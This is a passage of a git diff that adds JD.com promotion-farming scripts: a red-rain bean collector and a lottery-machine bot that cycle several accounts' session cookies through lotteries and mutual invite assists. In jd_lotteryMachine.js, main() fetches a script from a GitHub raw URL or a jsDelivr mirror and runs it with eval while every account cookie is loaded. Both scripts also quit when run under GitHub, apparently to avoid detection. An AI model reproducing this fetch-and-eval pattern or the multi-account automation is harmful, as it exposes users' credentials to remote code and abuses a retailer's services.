+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.subCode === '0') {
+ console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`)
+ // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n`
+ message += `领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆`
+ allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`;
+ } else if (data.subCode === '8') {
+ console.log(`领取失败:本场已领过`)
+ message += `领取失败,本场已领过`;
+ } else {
+ console.log(`异常:${JSON.stringify(data)}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+function taskGetUrl(url, body) {
+ return {
+ url: url,
+ body: body,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "api.m.jd.com",
+ "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`,
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+}
+
+function taskPostUrl(function_id, body = body) {
+ return {
+ url: `https://api.m.jd.com/client.action?functionId=${function_id}`,
+ body: body,
+ headers: {
+ 'Host': 'api.m.jd.com',
+ 'content-type': 'application/x-www-form-urlencoded',
+ 'accept': '*/*',
+ 'user-agent': 'JD4iPhone/167408 (iPhone; iOS 14.2; Scale/3.00)',
+ 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6',
+ //"Cookie": cookie,
+ }
+ }
+}
+
+function taskUrl(function_id, body = {}) {
+ return {
+ url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "api.m.jd.com",
+ "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`,
+ "Cookie": cookie,
+ "User-Agent": "JD4iPhone/9.4.5 CFNetwork/1209 Darwin/20.2.0"
+ }
+ }
+}
+
+function getRedRainIds(url = "https://raw.githubusercontent.com/gitupdate/updateTeam/master/redrain.json") {
+ return new Promise(async resolve => {
+ const options = {
+ url: `${url}?${new Date()}`, "timeout": 10000, headers: {
+ "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88"
+ }
+ };
+ if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) {
+ const tunnel = require("tunnel");
+ const agent = {
+ https: tunnel.httpsOverHttp({
+ proxy: {
+ host: process.env.TG_PROXY_HOST,
+ port: process.env.TG_PROXY_PORT * 1
+ }
+ })
+ }
+ Object.assign(options, { agent })
+ }
+ $.get(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ } else {
+ if (data) data = JSON.parse(data)
+ }
+ } catch (e) {
+ // $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ await $.wait(10000)
+ resolve([]);
+ })
+}
+
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+function safeGet(data) {
+ try {
+ if (typeof JSON.parse(data) == "object") {
+ return true;
+ }
+ } catch (e) {
+ console.log(e);
+ console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);
+ return false;
+ }
+}
+
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_lotteryMachine.js b/Task/jd_lotteryMachine.js
new file mode 100644
index 0000000..ebab2ed
--- /dev/null
+++ b/Task/jd_lotteryMachine.js
@@ -0,0 +1,274 @@
+/*
+京东抽奖机 https://raw.githubusercontent.com/yangtingxiao/QuantumultX/master/scripts/jd/jd_lotteryMachine.js
+author:yangtingxiao
+github: https://github.com/yangtingxiao
+活动入口:京东APP中各种抽奖活动的汇总
+
+修改自用 By xxx
+更新时间:2021-05-25 8:50
+ */
+const $ = new Env('京东抽奖机&内部互助');
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+let cookiesArr = [], cookie = '';
+Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+})
+if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0);
+
+const appIdArr = ['1EFRRxA','1EFRQwA','1EFRYxQ','1EFRXxg','1EFVRwA','1EFVRxw','1EFRZwA','1EFRZwQ','1EFRYwA','1EFVRxg','1EFVRxQ']
+const homeDataFunPrefixArr = ['interact_template','interact_template','harmony_template','','','','','','','','','','','','','','','interact_template','interact_template']
+const collectScoreFunPrefixArr = ['','','','','','','','','','','','','','','','','','interact_template','interact_template']
+
+$.allShareId = {};
+main();
+async function main() {
+ await help();//先账号内部互助
+ await updateShareCodes();
+ if (!$.body) await updateShareCodesCDN();
+ if ($.body) {
+ eval($.body);
+ }
+ $.http.get({url: `https://purge.jsdelivr.net/gh/yangtingxiao/QuantumultX@master/scripts/jd/jd_lotteryMachine.js`}).then((resp) => {
+ if (resp.statusCode === 200) {
+ let { body } = resp;
+ body = JSON.parse(body);
+ if (body['success']) {
+ console.log(`jd_lotteryMachine.js文件 CDN刷新成功`)
+ } else {
+ console.log(`jd_lotteryMachine.js文件 CDN刷新失败`)
+ }
+ }
+ }).catch((err) => console.log(`更新jd_lotteryMachine.js文件 CDN异常`, err));
+}
+async function help() {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"});
+ return;
+ }
+ console.log(`\n\n当前共有${appIdArr.length}个抽奖机活动\n\n`);
+ for (let j in appIdArr) {
+ $.invites = [];
+ $.appId = appIdArr[j];
+ $.appIndex = parseInt(j) + 1;
+ homeDataFunPrefix = homeDataFunPrefixArr[j] || 'healthyDay';
+ console.log(`\n第${parseInt(j) + 1}个抽奖活动【${$.appId}】`)
+ console.log(`functionId:${homeDataFunPrefix}_getHomeData`);
+ $.acHelpFlag = true;//该活动是否需要助力,true需要,false 不需要
+ for (let i = 0; i < cookiesArr.length; i++) {
+ cookie = cookiesArr[i];
+ if (cookie) {
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+ console.log(`\n***************开始京东账号${i + 1} ${$.UserName}***************`)
+ await interact_template_getHomeData();
+ }
+ if (i === 0 && !$.acHelpFlag) {
+ console.log(`\n第${parseInt(j) + 1}个抽奖活动【${$.appId}】,不需要助力`);
+ break;
+ }
+ }
+ if ($.invites.length > 0) {
+ $.allShareId[appIdArr[j]] = $.invites;
+ }
+ }
+ // console.log('$.allShareId', JSON.stringify($.allShareId))
+ if (!cookiesArr || cookiesArr.length < 2) return
+ for (let i = 0; i < cookiesArr.length; i++) {
+ cookie = cookiesArr[i];
+ $.index = i + 1;
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+ for (let oneAppId in $.allShareId) {
+ let oneAcHelpList = $.allShareId[oneAppId];
+ for (let j = 0; j < oneAcHelpList.length; j++) {
+ $.item = oneAcHelpList[j];
+ if ($.UserName === $.item['userName']) continue;
+ if (!$.item['taskToken'] && !$.item['taskId'] || $.item['max']) continue
+ console.log(`账号${i + 1} ${$.UserName} 去助力账号 ${$.item['userName']}的第${$.item['index']}个抽奖活动【${$.item['appId']}】,邀请码 【${$.item['taskToken']}】`)
+ $.canHelp = true;
+ collectScoreFunPrefix = collectScoreFunPrefixArr[$.item['index'] - 1] || 'harmony'
+ await harmony_collectScore();
+ if (!$.canHelp) {
+ // console.log(`跳出`);
+ break;//此处如果break,则遇到第一个活动就无助力机会时,不会继续助力第二个活动了
+ }
+ }
+ }
+ }
+}
+function interact_template_getHomeData(timeout = 0) {
+ return new Promise((resolve) => {
+ setTimeout( ()=>{
+ let url = {
+ url : `https://api.m.jd.com/client.action`,
+ headers : {
+ 'Origin' : `https://h5.m.jd.com`,
+ 'Cookie' : cookie,
+ 'Connection' : `keep-alive`,
+ 'Accept' : `application/json, text/plain, */*`,
+ 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`,
+ 'Host' : `api.m.jd.com`,
+ 'Accept-Encoding' : `gzip, deflate, br`,
+ 'Accept-Language' : `zh-cn`
+ },
+ body: `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${$.appId}","taskToken":""}&client=wh5&clientVersion=1.0.0`
+ }
+
+ $.post(url, async (err, resp, data) => {
+ try {
+ let invitesFlag = false;
+ data = JSON.parse(data);
+ if (data['code'] === 0) {
+ if (data.data && data.data.bizCode === 0) {
+ for (let item of data.data.result.taskVos) {
+ if ([14, 6].includes(item.taskType)) {
+ console.log(`邀请码:${item.assistTaskDetailVo.taskToken}`)
+ console.log(`邀请好友助力:${item.times}/${item['maxTimes']}\n`);
+ if (item.assistTaskDetailVo.taskToken && item.taskId && item.times !== item['maxTimes']) {
+ $.invites.push({
+ taskToken: item.assistTaskDetailVo.taskToken,
+ taskId: item.taskId,
+ userName: $.UserName,
+ appId: $.appId,
+ index: $.appIndex,
+ max: false
+ })
+ }
+ invitesFlag = true;//该活动存在助力码
+ }
+ }
+ if (!invitesFlag) {
+ $.acHelpFlag = false;
+ }
+ } else {
+ console.log(`获取抽奖活动数据失败:${data.data.bizMsg}`);
+ $.invites.push({
+ taskToken: null,
+ taskId: null,
+ userName: $.UserName,
+ appId: $.appId,
+ index: $.appIndex
+ })
+ }
+ } else {
+ console.log(`获取抽奖活动数据异常:${JSON.stringify(data)}`)
+ $.invites.push({
+ taskToken: null,
+ taskId: null,
+ userName: $.UserName,
+ appId: $.appId,
+ index: $.appIndex
+ })
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve()
+ }
+ })
+ },timeout)
+ })
+}
+//做任务
+function harmony_collectScore(timeout = 0) {
+ // console.log(`助力 ${taskToken}`)
+ return new Promise((resolve) => {
+ setTimeout( ()=>{
+ let url = {
+ url : `https://api.m.jd.com/client.action`,
+ headers: {
+ "Accept": "application/json, text/plain, */*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Cookie": cookie,
+ "Host": "api.m.jd.com",
+ "Origin": "https://h5.m.jd.com",
+ "Referer": `https://h5.m.jd.com/babelDiy/Zeus/ahMDcVkuPyTd2zSBmWC11aMvb51/index.html?inviteId=${$.item['taskToken']}`,
+ "User-Agent": "jdapp;iPhone;9.4.6;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/B28DA848-0DA0-4AAA-AE7E-A6F55695C590;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"
+ },
+ body: `functionId=${collectScoreFunPrefix}_collectScore&body={"appId": "${$.appId}","taskToken":"${$.item['taskToken']}","taskId":${$.item['taskId']},"actionType": 0}&client=wh5&clientVersion=1.0.0`
+ }
+ $.post(url, async (err, resp, data) => {
+ try {
+ // console.log(data)
+ data = JSON.parse(data);
+ if (data['code'] === 0) {
+ if (data['data']['bizCode'] === 0) {
+ console.log(`助力结果:${data.data.bizMsg}🎉\n`);
+ } else {
+ if (data['data']['bizCode'] === 108) $.canHelp = false;
+ if (data['data']['bizCode'] === 103) $.item['max'] = true;
+ console.log(`助力失败:${data.data.bizMsg}\n`);
+ }
+ } else {
+ console.log(`助力异常:${JSON.stringify(data)}\n`);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve()
+ }
+ })
+ }, timeout)
+ })
+}
+
+function updateShareCodes(url = 'https://raw.githubusercontent.com/yangtingxiao/QuantumultX/master/scripts/jd/jd_lotteryMachine.js') {
+ return new Promise(resolve => {
+ const options = {
+ url: `${url}?${Date.now()}`, "timeout": 10000, headers: {
+ "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88"
+ }
+ };
+ if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) {
+ const tunnel = require("tunnel");
+ const agent = {
+ https: tunnel.httpsOverHttp({
+ proxy: {
+ host: process.env.TG_PROXY_HOST,
+ port: process.env.TG_PROXY_PORT * 1
+ }
+ })
+ }
+ Object.assign(options, { agent })
+ }
+ $.get(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`请求访问 【raw.githubusercontent.com】 的jd_lotteryMachine.js文件失败:${JSON.stringify(err)}\n\n下面使用 【cdn.jsdelivr.net】请求访问jd_lotteryMachine.js文件`)
+ } else {
+ $.body = data;
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function updateShareCodesCDN(url = 'https://cdn.jsdelivr.net/gh/yangtingxiao/QuantumultX@master/scripts/jd/jd_lotteryMachine.js') {
+ return new Promise(async resolve => {
+ $.get({url: `${url}?${Date.now()}`, timeout: 10000}, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ $.body = data;
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ await $.wait(3000)
+ resolve();
+ })
+}
+
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 